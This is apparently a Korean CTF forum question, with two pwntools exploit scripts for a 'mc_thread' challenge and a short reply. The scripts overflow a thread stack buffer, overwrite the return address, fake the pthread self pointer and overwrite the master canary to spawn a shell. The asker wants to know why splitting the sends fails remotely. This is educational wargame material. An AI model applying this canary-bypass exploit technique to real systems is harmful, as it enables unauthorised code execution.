send 여러 보내는 것과 한번 보내는 것의 차이가 궁금합니다.
아래처럼 p.send
호출할 때 하나의 payload
를 만들어서 호출하면 서버에 제출 시 쉘 획득이 되는데,
from pwn import *
d = 0x7f0
# p = process("./mc_thread")
p = remote("host3.dreamhack.games", 21778)
# p = remote("localhost", 7182)
p_elf = ELF("./mc_thread")
p.sendlineafter(b"Size: ", str(
(0x110 + d + 0x28 + 8) // 8).encode())
p.recvuntil(b"Data: ")
payload = b"A" * 0x110
payload += b"A" * 8
payload += p64(p_elf.symbols["giveshell"])
payload += b"A" * (d - 0x10)
payload += b"A" * 0x10
payload += p64(0x404800 - 0x972)
payload += b"A" * 0x18
p.send(payload)
p.sendline(b"ls")
recved = p.recv(100)
info(f"received: {recved}")
# if b"smash" in recved:
# raise RuntimeError("Smash detected")
success(f"0x{d:x}: Success")
p.interactive()
제공된 소스코드에 read가 여러번 나눠서 받아 아래처럼 send를 똑같은 수만큼 나눠서 전송하면 p.recv(100)
에서 EOFError 가 나는데 이유가 무엇인지 궁금합니다.
from pwn import *
d = 0x7f0
# p = process("./mc_thread")
p = remote("host3.dreamhack.games", 21778)
# p = remote("localhost", 7182)
p_elf = ELF("./mc_thread")
p.sendlineafter(b"Size: ", str(
(0x110 + d + 0x28 + 8) // 8).encode())
p.recvuntil(b"Data: ")
for i in range(0x100 // 8):
p.send(b"A" * 8)
p.send(b"A" * 8) # rbp - 0x10
p.send(b"A" * 8) # rbp - 0x8(cnry)
p.send(b"A" * 8) # rbp(sfp)
p.send(p64(p_elf.symbols["giveshell"]))
for i in range((d - 0x10) // 8):
p.send(b"A"*8)
p.send(b"A" * 8)
p.send(b"A" * 8)
p.send(p64(0x404800 - 0x972)) # pthread->self
p.send(b"A" * 8)
p.send(b"A" * 8)
p.send(b"A" * 8) # master canary overwrite
p.sendline(b"ls")
recved = p.recv(100)
info(f"received: {recved}")
# if b"smash" in recved:
# raise RuntimeError("Smash detected")
success(f"0x{d:x}: Success")
p.interactive()
근데 또 이상한건 서버에 제출하면 안되는데, 제공된 Dockerfile로 Docker 환경 구축해서 제출(p = remote("localhost", 7182)
) 혹은 로컬 환경(p = process("./mc_thread")
)에서 실행하면 정상적으로 동작합니다...
#pwnable
작성자 정보
답변
1
rbtree_work
대표 업적 없음
안녕하세요,
죄송하지만 아래의 코드를 실행해보니 드림핵 서버에서도 잘 작동하는 거 같습니다.
context.log_level = 'DEBUG'
등을 켜서 한 번 다시 확인해보시는 것이 좋을 거 같습니다.